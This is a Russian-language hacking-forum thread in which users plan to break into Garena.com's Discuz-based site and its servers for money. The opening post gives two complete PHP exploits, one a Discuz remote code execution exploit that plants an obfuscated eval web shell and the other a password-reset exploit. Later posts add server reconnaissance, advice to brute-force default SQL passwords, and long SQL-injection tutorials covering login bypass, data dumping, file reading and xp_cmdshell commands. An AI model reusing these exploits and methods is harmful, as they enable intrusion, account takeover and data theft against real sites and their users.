Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Игровые платформы, клиенты > Garena Gaming Community
Присоединяйся к нам

Garena Gaming Community Игровое сообщество платформы GG-Client/Garena/Garena Messenger/Garena Plus.
Бесплатный GOLD MEMBER



Закрытая тема
 
Опции темы Опции просмотра
Старый 21.04.2009, 19:24   #1
Гость_за_инактив
 
Аватар для Omega
 
Регистрация: 12.12.2008
Сообщений: 65
Репутация: 46
Отправить сообщение для Omega с помощью ICQ Отправить сообщение для Omega с помощью Skype™
Автор По умолчанию

Взлом www.Garena.com


[HIDE="400"]и так Garena.com стоит собственно на discuz 5.5.0.Порыскал в дискузе есть уязвимые места,собственно они есть и в гарене.Сможет,кто помочь в этом деле,партнёрский проект!!!
воть:
1)Discuz! 6.x/7.x Remote Code Execution Exploit


<?php
/**
* 文件дё*жіЁй‡Љзљ„еЏ�й‡ЏеЂјиЇ·и‡ЄиЎЊдї®ж”№
*/
$host = 'www.80vul.com';
// жњЌеЉЎе™ЁеџџеђЌж?–IP
$path = '/discuz/';
// зЁ‹еєЏж‰ЂењЁзљ„и·Їеѕ„
$key = 0;
// дёЉйќўзљ„еЏ�量编辑好后,请将ж*¤е¤„зљ„еЂјж” №дёє1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
exit("专业点好不,�看看里面的注释 -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key .'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
exit("哦,大概�没有开启WAP注册吧 -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46). chr(47).chr(102).chr(111).chr(114).chr(117).chr(10 9).chr(100).chr(97).chr(116).chr(97).chr(47).chr(9 9).chr(97).chr(99).chr(104).chr(101).chr(47).chr(1 01).chr(118).chr(97).chr(108).chr(46).chr(112).chr (104).chr(112),chr(119).chr(43)),chr(60).chr(63).c hr(101).chr(118).chr(97).chr(108).chr(40).chr(36). chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).ch r(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr( 48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
exit("好了,еЋ»зњ‹зњ‹дЅ зљ„WebShellеђ§:\t$shell\nй‡Њйќўзљ„д»Јз Ѓж�Ї:\t<?eval(\$_POST[c])?>\nе?«е‘ЉиЇ‰ж?‘дЅ дёЌдјљз”Ё -,-\n");
else
exit("е—Ї,大概ж�ЇиЇҐзЅ‘з«™дёЌе*�ењЁжјЏжґћ,жЌўдёЂ дёЄеђ§ -,-\n");

function send()
{
global $host, $path, $url, $cmd;

$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}


?>[/quote]2)Discuz! Remote Reset User Password Exploit



Цитата:
#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+

');

if ($argc < 6) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user mail uid
host: target server (ip/hostname)
path: path to discuz
user: user login name
mail: user login mail
uid: user login id
Example:
php '.$argv[0].' localhost /discuz/ 80vul [Ссылки скрыты от гостей.] 2
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$mail = $argv[4];
$uid = $argv[5];

$fp = fsockopen($host, 80);

$data = "GET ".$path."viewthread.php HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Keep-Alive: 300\r\n";
$data .= "Connection: keep-alive\r\n\r\n";

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp)) {
$resp .= fread($fp, 1024);
preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);
if ($hash)
break;
}

if ($hash) {
$cmd = 'action=lostpasswd&username='.urlencode($user).'&e mail='.urlencode($mail).'&lostpwsubmit=true&formha sh='.$hash[1];
$data = "POST ".$path."member.php HTTP/1.1\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= $cmd;

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

fclose($fp);

preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);

if (!$sid)
exit("Exploit Failed!\n");

$seed = getseed();
if ($seed) {
mt_srand($seed);
random();
mt_rand();
$id = random();

$fp = fsockopen($host, 80);

$cmd = 'action=getpasswd&uid='.$uid.'&id='.$id.'&newpassw d1=123456&newpasswd2=123456&getpwsubmit=true&formh ash='.$hash[1];
$data = "POST ".$path."member.php HTTP/1.1\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= $cmd;

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

if (strpos($resp, 'ж‚Ёзљ„еЇ†з Ѓе·Ій‡Ќж–°и®ѕзЅ®пјЊиЇ·дЅїз”Ёж–°еЇ†з Ѓз™»еЅ•гЂ‚') !== false)
exit("Expoilt Success!\nUser New Password:\t123456\n");
else
exit("Exploit Failed!\n");
} else
exit("Exploit Failed!\n");
} else
exit("Exploit Failed!\n");

function getseed()
{
global $sid;

for ($seed = 0; $seed <= 1000000; $seed ++) {
mt_srand($seed);
$id = random(6);
if ($id == $sid[1])
return $seed;
}
return false;
}

function random($length = 6)
{
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklm nopqrstuvwxyz';
$max = strlen($chars) - 1;
for ($i = 0; $i < $length; $i ++)
$hash .= $chars[mt_rand(0, $max)];

return $hash;
}

?>
[/HIDE]
__________________
[Ссылки скрыты от гостей.]

Последний раз редактировалось Omega; 21.04.2009 в 19:27.
  Наверх
Старый 21.04.2009, 19:26   #2
This? On Melancholy Hill




 
Аватар для UnDeaDRoCUser
 
Регистрация: 18.09.2008
Адрес: system32
Сообщений: 5,237
Репутация: 1415
Отправить сообщение для UnDeaDRoCUser с помощью ICQ Отправить сообщение для UnDeaDRoCUser с помощью Skype™
По умолчанию

Сопсна, а для чего их сайт ламать? Что это даст, просто не могу понять... ?_?
__________________
[ [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | ]

[ [Ссылки скрыты от гостей.] ]

  Наверх
Старый 21.04.2009, 19:28   #3
Гость_за_инактив
 
Аватар для Omega
 
Регистрация: 12.12.2008
Сообщений: 65
Репутация: 46
Отправить сообщение для Omega с помощью ICQ Отправить сообщение для Omega с помощью Skype™
Автор По умолчанию

[HIDE="400"]Доступ к ресурсам,через сайт попасть на сервер(server.garena.com) ,который стоит на базе mySQL,а если получишь доступ к ресурсом-получишь что?ДЕНЬГИ[/HIDE]


[HIDE="400"]MatRo:Ты думаешь ты первый додумался дисказз с эксплоита взять?)... Это большой защищенный двиг и все паблик эксплоиты щас на него не катят,разве что ты парочку приватных достанешь.. А о скуле вообще забудь,там фильтр стоит.[/HIDE]
__________________
[Ссылки скрыты от гостей.]
  Наверх
Старый 21.04.2009, 20:26   #4
Заблокирован


 
Аватар для ToRik
 
Регистрация: 07.10.2008
Адрес: Казахстан - Караганда
Сообщений: 283
Репутация: 419
Отправить сообщение для ToRik с помощью ICQ Отправить сообщение для ToRik с помощью Skype™
По умолчанию

Так автор тебе мое уважение, ну вот нашелся человек который уже реальную идею предлогает!
  Наверх
Старый 21.04.2009, 20:26   #5
Основатель д3
 
Аватар для MatRo
 
Регистрация: 24.02.2008
Сообщений: 857
Репутация: 1049
Отправить сообщение для MatRo с помощью ICQ
По умолчанию

kndomega, Ответил в твем посте. + почистил тему.
__________________
Куплю аккаунты на Skladchik.com. Icq 29911один.
  Наверх
Старый 21.04.2009, 20:28   #6
Заблокирован


 
Аватар для ToRik
 
Регистрация: 07.10.2008
Адрес: Казахстан - Караганда
Сообщений: 283
Репутация: 419
Отправить сообщение для ToRik с помощью ICQ Отправить сообщение для ToRik с помощью Skype™
По умолчанию

MatRo, тама под хайдом ссылка или что? просто я вижу все написсаное автором
  Наверх
Старый 21.04.2009, 20:30   #7
Старожил

 
Аватар для HinoRyuu
 
Регистрация: 04.03.2009
Адрес: Москва
Сообщений: 531
Репутация: 148
Отправить сообщение для HinoRyuu с помощью ICQ Отправить сообщение для HinoRyuu с помощью Skype™
По умолчанию

группа вип все видит под хайдом....
__________________
[Ссылки скрыты от гостей.]
[Ссылки скрыты от гостей.]
[Ссылки скрыты от гостей.]
  Наверх
2 пользователя(ей) сказали cпасибо:
Solomir (22.04.2009), ToRik (21.04.2009)
Старый 21.04.2009, 20:35   #8
Гость_за_инактив
 
Аватар для Omega
 
Регистрация: 12.12.2008
Сообщений: 65
Репутация: 46
Отправить сообщение для Omega с помощью ICQ Отправить сообщение для Omega с помощью Skype™
Автор По умолчанию

[HIDE="400"]Программа: Crossday Discuz! Board версии 6.x, 7.x
Опасность: Средняя
Наличие эксплоита: Нет
Описание:
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "creditsformula" в сценарии wap/index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP код на целевой системе.
2. Уязвимость существует из-за ошибки дизайна. Удаленный пользователь может обойти некоторые ограничения безопасности и обнулить пароли пользователей.
[/HIDE]
[HIDE="400"]От скули надо стоблца и таблчики нарыть...но можно их выкачать через INFORMATION SCHEMA или PostgreSQL
1.)Обнаружил уязвимость на запрос для выполнения sql injection:
POST /account/enter/ HTTP/1.1
Host: (имя хоста)
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

login='&password=1&Submit_l=1

После попытки ввести в аккаунт место логина ', ф вместо пасса 1, ответ вида
SELECT LoginID, Login FROM dbo.tLogins (nolock) WHERE Login = '\'' AND Password = 'c4ca4238a0b923820dcc509a6f75849b'

Пробовал варианты, так и не смог подобрать нужный запрос на просмотр БД. Подскажите какие запросы попробовать

2.)Еще уязвимость другого сервака:
Тип уязвимости:
---------------------------------------------------------------------
Удаленный пользователь может представить специально обработанный авторизационный пакет, чтобы обойти механизм авторизации на MySQL сервере. Уязвимость расположена в check_scramble_323() функции.

Удаленный пользователь может определить произвольное 'passwd_len' значение, чтобы заставить функцию сравнить известное значение 'scrambled' пароля со строкой нулевой длины. Функция позволяет удаленному пользователю успешно аутентифицироваться со строкой нулевой длины.

Также сообщается о стековом переполнении буфера, которое может быть вызвано чрезмерно длинным параметром 'scramble' , сгенерированным функцией my_rnd(). На некоторых платформах уязвимость может использоваться для выполнения произвольного кода. и юнион пока не знаю,если после 4 мускл стоит то покавыряцо стоит...[/HIDE]

Добавлено через 1 минуту
Цитата:
Сообщение от MatRo Посмотреть сообщение
kndomega, Ответил в твем посте. + почистил тему.
спасибо,просто занл что разведёцо базар и написал те предложения в мп..но вроде щас всё норм



[HIDE="400"]Дай мне ссылку на твою потенциальную скулю=>я тебе скажу возможно ли ее раскрутить...
А сервер на уязвимости через проги бесполезно чекать,проги обещают слишком много...
А вообще у них залатаный дисказ,бесполезно биться головой об лед.[/HIDE]
__________________
[Ссылки скрыты от гостей.]

Последний раз редактировалось Omega; 21.04.2009 в 20:39. Причина: Добавлено сообщение
  Наверх
Старый 21.04.2009, 20:45   #9
Матерый
 
Аватар для ShaDow "N.E"
 
Регистрация: 12.01.2009
Адрес: Shymkent
Сообщений: 171
Репутация: 74
Отправить сообщение для ShaDow "N.E" с помощью ICQ
По умолчанию

для простых юсеров, как я очень полехная инфа может быть хайд хотя бы до 200 уменшишь?
  Наверх
Старый 21.04.2009, 20:49   #10
Основатель д3
 
Аватар для MatRo
 
Регистрация: 24.02.2008
Сообщений: 857
Репутация: 1049
Отправить сообщение для MatRo с помощью ICQ
По умолчанию

Ответил в посте.
__________________
Куплю аккаунты на Skladchik.com. Icq 29911один.
  Наверх
Старый 21.04.2009, 21:03   #11
Гость_за_инактив
 
Аватар для Omega
 
Регистрация: 12.12.2008
Сообщений: 65
Репутация: 46
Отправить сообщение для Omega с помощью ICQ Отправить сообщение для Omega с помощью Skype™
Автор По умолчанию

[HIDE="400"]
Цитата:
Дай мне ссылку на твою потенциальную скулю=>я тебе скажу возможно ли ее раскрутить...
непонял чего ты хочишь....вот добавлю ещё
Самая частая ошибка заключается в том, что названия таблицы берут из URL, что чаще всего встречается в форумах и бордах. Т.е. для обращения к форуму best с сайта blah-blah.gov используется строчка [Ссылки скрыты от гостей.] Скорее всего, параметр forum будет заноситься в переменную $forum. Значит горе-кодер в своих скриптах прописал что-то типа:

SELECT * FROM $forum; UPDATE $forum SET DATE = ‘09/08/02’

Вроде бы всё хорошо, но вся изюминка в том, что названия таблицы обычно не проверяют на правильность. А это значит, что ничто не сможет нам помешать написать в URL’е строку такого содержания: “[Ссылки скрыты от гостей.] * FROM best; DROP TABLE best”. После чего запустится скрипт и выполнит следующий SQL-запрос:

SELECT * FROM best; DROP TABLE best;

Который сначала выводит все содержимое таблицы best, а потом удаляет её. Этот запрос, конечно, пройдёт только тогда, когда у пользователя достаточно прав, для того, чтобы удалить таблицу. Но админов, которые дают такие права пользователям, в Internet’е навалом, сам проверял=].

Теперь ты можешь без особого напряга удалить какую-нибудь базу. Но этого как правило мало. Мы же не вандалы. Допустим на нашем сайте [Ссылки скрыты от гостей.] для того, чтобы использовать форум надо сначала зарегистрироваться. Не вопрос. Идём на страницу регистрации. Как правило, для пользователей тоже создают базу и запрос, который вставляет нового юзера выглядит так:

INSERT INTO userbase Values (firstname=’$fname’, lastname=’$lname’, age=$age);

Как ты уже понял, описанный выше способ применим и для других параметров, передаваемых в URL. А теперь представь, что мы знаем, что в этой таблице есть также поле xlev, значение которого принимает два значения, либо user либо superuser. Как несложно догадаться, если ты superuser, то можешь делать с форумом, что захочешь. Но проблема в том, что если это поле пустует, то пользователь считается простым user”ом. Не порядок. Если повнимательнее рассмотреть данный запрос можно увидеть параметр $age, стоящий без кавычек. Как правило, числовые данные не проверяют на действительность, и туда можно записать что угодно. Этим мы и воспользуемся. Вводим всё как надо, а в строке age пишем:25,xlev=’superuser’. Вот ты и бог=]. Как видишь, ничего сверх сложного здесь нет. Надо только подумать чуть-чуть.

DEFAULT

А теперь самое главное. Можно искать сайты с тупыми скриптами, передающими параметры в URL’е, а можно сделать умнее=]. Я уверен, что ты уже знаешь, что многие админы, особенно начинающие, ставят всё по дефолту. К них ещё нет опыта, и не знают, что это не есть гуд. Хочу заметить, что этим грешат также и матёрые сисопы. Так вот. Многие либо оставляют логин и пароль SQL сервера по умолчанию, или меняют пароль на какой-нибудь типа 54321. Вот этим и надо прежде всего воспользоваться. В Microsoft SQL Server по умолчанию стоит юзер sa без пароля, а в MySQL, root также без пароля. MsSQL и MySQL сидят на портах 1433 и 3366 соответственно. Так что качай клиент и попробуй вломится на базу под стандартным юзером. Если тебе не повезло и пароль не подходит, то советую тебе скачать брутфорс, для удалённого перебора паролей SQL (найти его можно на нашем сайте в File ->> Password Crack).

EXPLOITS

Для взлома SQL серверов, существует много exploit’ов. Описывать их я не буду, т.к. чтобы описать хотя бы самые достойные из них понадобится много места и время, да к тому же я не считаю это нужным. На нашем сайте в архиве exploit’ов ты найдёшь исходники как для получения root’а, так и для удалённый DoS атак на SQL сервер. К тому же рассчитывая на то, что в последнее время в MsSQL нашли два десятка таких дыр, DoS на MsSQL становится более актуальным.

Заключение

Взлом БЗ SQL является одним самых результативных взломов на сегодняшний день. В базах данных можно найти всё, от списка пользователей сервера, до номеров кредитных карт. Выше я описал только самые основные методы взлома, но их вполне хватит, чтобы взломать примерно 30% БД в Internet’е, конечно, импровизируя в каждом отдельном случае.
p.S:Так же КОпирайт,сам бы писать заипался....
Matro,я непонял что ты имел ввиде вообще,остальное понял,что долбить дискуз бесползено,а про мускул я втупился...
мб server.garena.com ,это ты хотел?:D[/HIDE]
__________________
[Ссылки скрыты от гостей.]
  Наверх
Старый 21.04.2009, 22:13   #12
Заблокирован


 
Аватар для ToRik
 
Регистрация: 07.10.2008
Адрес: Казахстан - Караганда
Сообщений: 283
Репутация: 419
Отправить сообщение для ToRik с помощью ICQ Отправить сообщение для ToRik с помощью Skype™
По умолчанию

Вылажите настроеный эксплоит под гарену, не получаеться не хера! error http 404
  Наверх
Старый 22.04.2009, 09:27   #13
Кодер-Дизайнер

 
Аватар для AlfaDogg
 
Регистрация: 24.02.2008
Сообщений: 208
Репутация: 164
По умолчанию

[HIDE="100"]Раньше гарена.ком стояла на том же движке что и д3сцена... напрасно они его сменили :)[/HIDE]
__________________
Когда власть любви превзойдет любовь к власти, настанет мир на земле. ©Jimi Hendrix
Я ставлю форумы... особые форумы... кто хочет увидеть не много выбулетиона?
  Наверх
Старый 22.04.2009, 10:34   #14
Гость_за_инактив
 
Аватар для Omega
 
Регистрация: 12.12.2008
Сообщений: 65
Репутация: 46
Отправить сообщение для Omega с помощью ICQ Отправить сообщение для Omega с помощью Skype™
Автор По умолчанию

Цитата:
Сообщение от ToRik Посмотреть сообщение
Вылажите настроеный эксплоит под гарену, не получаеться не хера! error http 404
Неплохо бы узнать ,как версия скуля стоит на Гарене,если меньше 4 то всё шоколадно,если после то там пойду юнионы и будет тяжелей.
1.p.S:Почистите тему плз
2.p.S:Если АЛьфа дог твой топик относится к этой теме,плз добавь его ,как матро в мои сообщения,я так невижу.Тему создал,чтобы вы помогли ,а так я не вижу,чтьо ты пишешь.
3.p.S:Как только узнаю версию скуля на гарене,сразу выложи експлойт и все дыры на него
*kurit*
[HIDE="400"]ВОоть,снифнул :
Цитата:
HTTP Request Header

Connect to 74.55.122.108 on port 80 ... ok

GET / HTTP/1.1[CRLF]
Host: garena.com[CRLF]
Connection: close[CRLF]
User-Agent: Web-sniffer/1.0.29 (+[Ссылки скрыты от гостей.])[CRLF]
Accept-Encoding: gzip[CRLF]
Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[CRLF]
Cache-Control: no[CRLF]
Accept-Language: de,en;q=0.7,en-us;q=0.3[CRLF]
Referer: [Ссылки скрыты от гостей.][CRLF]
[CRLF]
Цитата:
HTTP Response Header

NameValueDelim HTTP Status Code: HTTP/1.1 302 Found Connection:close
Date:Wed, 22 Apr 2009 06:36:44 GMT
Server:Microsoft-IIS/6.0
X-Powered-By:ASP.NET
Location:[Ссылки скрыты от гостей.]
Content-Length:208
Content-type:text/html
Цитата:
Content (0.20 KiB)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1><p>The document has moved <a href="http://www.garena.com/">here</a>.</p>
</body></html>
Версию mySQL по порту 3306 узнаём.Сделайте пока это,я сразу выложу дырочки и уязвимости
[/HIDE]
[HIDE="400"]Вот ещё неплохая статейка по уязвимости общего mySQL(возможно старая и дыра зашыти,но остаётся надеждой)
По статистике в Интернете около 60% приложений, работающих с различного рода БД, подвержены атакам, позволяющим модифицировать запрос к БД и заставить ее работать не совсем корректно. И этот класс атак называется SQL Injection атаками. Эта уязвимость не просто повсеместно распространена, она есть даже в таких неприступных крепостях, как серверы статистики многих провайдеров.

Для проверки приложения на вшивость (например, скрипта какого-нибудь сервера-статистики) сначала корректно заполни все поля для ввода, а потом по очереди подставляй в конец каждого поля кавычку ('). Если после отправки заполненной таким корявым образом формы на сервер тебе выпрыгнет сообщение об ошибке
Цитата:
Microsoft OLE DB Provider for ODBC Drivers (0x8004CC14)
[Microdoft][ODBC SQL
Server Driver][SQL Server][Unclosed
quotation mark before the character
string ")'.
/default.asp, line 239
или что-нибудь очень похожее, то мы на верном пути и флаг нам в руки.

Теперь представим, как идет обмен данными между SQL-сервером и нашим глючным приложением. Вот тебе уязвимый кусочек asp-
кода, не запрещающий sql injection:

Цитата:
var sql = "select * from users where
username = '" + username + "' and
password = '" + password + "'";
Таким образом, если username=hacker и password=qwerty, то все сработает корректно и без ошибок и asp-скрипт передаст SQL- серверу команду
Цитата:
select * from users where username='hacker' and password='qwerty'
Но если мы наглым образом сделаем своим именем пользователя hacker', то команда станет такой:
Цитата:
select * from users where username='qwerty'' and password='qwerty'
После этого запроса SQL глюканет и выдаст нам ошибку, мол мы кавычек слишком много насажали. Теперь будем думать логически: нам нужно обойти проверку имени и пароля в этом скрипте, т.е. отбросить кусок запроса "and password='qwerty'". Разработчики SQL все уже придумали до нас, и нам всего лишь остается закомментировать этот хвост. В языке SQL все комментарии начинаются с двух минусов (--), и все, что идет после них, сервер в расчет не берет; т.е. чтобы заставить рассмотренный выше кусочек asp'a пустить нас без пароля вместо юзернейма "hacker", надо будет вписать вот такую байду:

Цитата:
hacker'; --
Теперь разберемся, какой символ что тут означает. Кавычка после hacker закрывает поле username; точка с запятой говорит, что в данный момент у нас это конец всей команды; а два минуса показывают, что можно забить на все идущее после них.

Смотрим кишки базы
Так, без пароля нас уже пускают, но это еще не все, что можно сотворить с атакуемой машиной. Для начала нам нужно узнать, какие базы данных есть на удаленной машине. Чтобы это узнать, возвращаемся к нашему полю для ввода username'a и пишем туда такую вещь:

Цитата:
"hacker'; show databases; --"
(опять же без кавычек)

Если после отправки такой формы на сервер тебе вывалится списочек, чем-то похожий на этот:
Цитата:
mysql> show databases;

+----------+
| Database |
+----------+
| MYSQL |
| TEST |
| hacker |
+----------+>

3 rows in set (0.00 sec)
то мы не просто на верном пути, мы лошадиными шагами движемся к получению свопа всех баз данных на сервере. Я думаю, посланную команду подробно разбирать не надо, тут все не сложно, только одна маленькая заметка: в языке SQL в одной строчке может быть несколько команд, разделенных точками с запятыми. Этим-то мы в основном пользоваться и будем.

После того как мы узнали список баз данных, нам нужно увидеть список таблиц в каждой из них. Чтобы осуществить такую задумку, в поле username пишем:

Цитата:
"hacker'; use mysql; show tables; -- "
"hacker'; use test; show tables; -- "
"hacker'; use voy; show tables; -- "
Команда use в данном случае заставляет SQL переключиться на заданную базу данных, а команда show tables показывает нам список всех таблиц в этой базе данных.

Тащим любые файлы с сервера
Так, структуру БД на удаленной машине узнали, теперь осталось поиметь всю информацию. Для осуществления этого противозаконного действия опять в поле username пишем:
Цитата:
"hacker'; select * from table1; -- " (где table1 - существующая таблица в БД)
И вот таким макаром по очереди сливаем информацию из каждой таблицы.
В принципе на такой удаче можно остановиться, но SQL - безграничное поле для всяких извращений. Ее можно заставить вытворять все, что душе пожелается - от чтения любого файла с диска до работы с реестром в виндах.

Для первого раза попробуем схватить какой-нибудь файл с диска. Для этого тебе нужны будут права на создание таблиц и запись в них. Сначала создадим подопытную таблицу, при помощи которой будем хватать любой файл с диска. Создаем ее уже привычным способом: в поле username пихаем:

Цитата:
"hacker'; create table dead_gibbon (tab1 varchar(200), tab2 varchar(200), tab3 varchar(200));
Вот мы создали таблицу с тремя столбцами. Небольшой комментарий: выражение "tab1 varchar(200)" говорит, что надо создать столбец с именем tab1 и максимальным значением 200. Теперь осталось воткнуть в свежесозданную таблицу требуемый файл

Цитата:
"hacker'; load data infile "/../../../../boot.ini" into table dead_gibbon; -- "
и посмотреть, что же у нас получилось:
"hacker'; select * from dead_gibbon; -- "
Конечно, файл в таблице окажется не в лучшем своем состоянии, каждая новая строчка файла будет эквивалентна каждой новой строчке в таблице, но в принципе даже этого хватает, чтобы таскать с сервера не очень большие файлы.

Выполняем любые команды
Файлы с диска читать научились, теперь осталось добиться командной строки на сервере. Такую задачу можно достичь только на SQL-серверах небезызвестной компании Microsoft. Именно при помощи MsSQL любой версии на удаленной машине можно исполнять любые команды. Для этого нужно отослать на сервер команду
Цитата:
exec master..xp_cmdshell 'dir'
и этим самым увидеть листинг текущей директории. Но это еще не все! Ребятки из Майкрософта постарались на славу и даже подключили к серверу возможность работы с реестром. Например:
Цитата:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparame ters',
'nullsessionshares';
Это всего лишь пример, а вот список всех команд, позволяющих творить с реестром такие кренделя, которые сам создатель на этапе компиляции не задумывал:
Цитата:
xp_regaddmultistring (добавляем строковый параметр)
xp_regdeletekey (удаляем ключ)
xp_regdeletevalue (удаляем значение ключа)
xp_regread (читаем ключ)
xp_regremovemultistring (удаляем строковый параметр)
xp_regwrite (пишем информацию в реестр)
Это далеко не весь список заподлянских команд. Все остальные ты сможешь прочитать в документации к серверу.

Защита
Так, хватит мусолить классические случаи SQL-injection атак, ведь в природе есть люди, пытающиеся защититься от такого рода атак. Но опять же язык SQL имеет такое количество исключений и примочек, что запретить их все просто теоретически нельзя. Есть только один метод защиты - разрешить для ввода только символы ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwx yz1234567890, а также запретить ключевые слова SQL "select, use, drop, insert и т.д.

По моему мнению, так и только так должна выглядеть защита от SQL-injection атак. Остальные методы (например, запрещение только ключевых слов и метасимволов ";" и "'") обходятся достаточно грациозно. Если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+. Теперь конструкция для вывода содержимого БД без использования кавычек будет выглядеть так:

Цитата:
select user from user where char(0x27)+user+char(0x27)=char(0x27)+char(0x27);
что абсолютно эквивалентно вот этой вещи:
select user from user where 'user'='';
Ну, я думаю, для первого раза хватит. После того как переваришь всю полученную информацию, запомни, что базы данных используются в самых желанных местах для взломщиков - SQL встречается в музыкальных архивах, у провайдеров, в онлайн- магазинах, в банках... Дальше список продолжать? Базы данных - это всегда лакомый кусочек, который никто не прочь урвать.
(c)[Ссылки скрыты от гостей.][/HIDE]
__________________
[Ссылки скрыты от гостей.]

Последний раз редактировалось Omega; 22.04.2009 в 10:57.
  Наверх
Старый 22.04.2009, 11:23   #15
Гость_за_инактив
 
Аватар для Omega
 
Регистрация: 12.12.2008
Сообщений: 65
Репутация: 46
Отправить сообщение для Omega с помощью ICQ Отправить сообщение для Omega с помощью Skype™
Автор Хорошо

Вот ещё,сдесь лучше,всё с картинками и более понятно


[HIDE="400"]Стырай пост не стал сносить,там тоже не мало инфы
воть:

Суть уязвимости

Рассмотрим работу простейшей системы с WEB-интерфейсом, позволяющей пользователям хранить и менять информацию о себе. Такие системы одни из самых распространенных в сети. Это может быть и гостевая книга, и чат, и фотогаллерея, и почтовый сервис.

Генерируемый запрос к базе даных должен содержать в себе логин и пароль, введенные пользователем. По этим полям БД должна найти соответствующую запись в таблице. После обработки запроса, БД выдает найденную информацию о пользователе, которую PHP скрипт оформляет в виде HTML и возвращает пользователю.
Расcмотрим достаточно типичный фрагмент PHP скрипта, использующий SQL запрос для доступа к базе данных:
Цитата:
<?php
$result = mysql_db_query("database","select * from userTable where login = '$userLogin' and password = '$userPassword' ");
while($row = mysql_fetch_array($result)) {
echo $row["fullname"];
echo $row["email"];
echo $row["password"];

}
mysql_free_result($result);
?>
Как видим, логин и пароль, введенные пользователем содержатся в переменных $userLogin и $userPassword. Содержимое этих переменных встявляется в запрос для отфильтровки информации именно об этом пользователе. Фильтр задается с помощью опции where команды select SQL. В данном случае, запрос выглядит таким образом: select * from userTable where login = '$userLogin' and password = '$userPassword' где userTable - имя таблицы, содержащей нужную информацию. Если переменые логина и пароля содержат значения vanya и vasyaselect * from userTable where login = 'vanya' and password = 'vasya'. Понятно, что если в базе данных отсутствует запись, в которой логин равен vanya а пароль - vasya, до запрос не пришлет ни одной строчки из БД, и скрипт ничего не выдаст. Таким образом, приведенная система обеспечивает доступ к информации только пользователя, обладающего правильным паролем и логином. соответственно, то запрос, отсылаемый БД, примет такой вид:
Казалось бы, такая система не содержит изъянов. На самом деле, это не так. Логика программиcтов, создававших приведенный выше пример, подразумевает, что введенные пользователем логин и пароль, будут содержаться внутри одинарных кавычек, которые жестко забиты в теле запроса. Однако, посмотрим, что произойдет, если сам пароль, введенный пользоваетелм содержит кавычку. Пусть он имеет значение vas'ya, тогда запрос примет вид: select * from userTable where login = 'vanya' and password = 'vas'ya'. При исполнении такого запроса, безусловно возникнет ошибка, поскольку кавычка из пароля, закрыла открывающую кавычку из запроса, и конец пароля ya' остался "висеть" вне условного выражения.
А если вставить в качестве пароля такую строку: ' or 1=1 ' , то запрос станет таким: : select * from userTable where login = 'vanya' and password = '' or 1=1 '' и не будет содержать синтаксических ошибок. Зато логическое выражение станет тождественно истинным, и в ответ на этот запрос, SQL выдаст всю базу данных пользователей 8-).
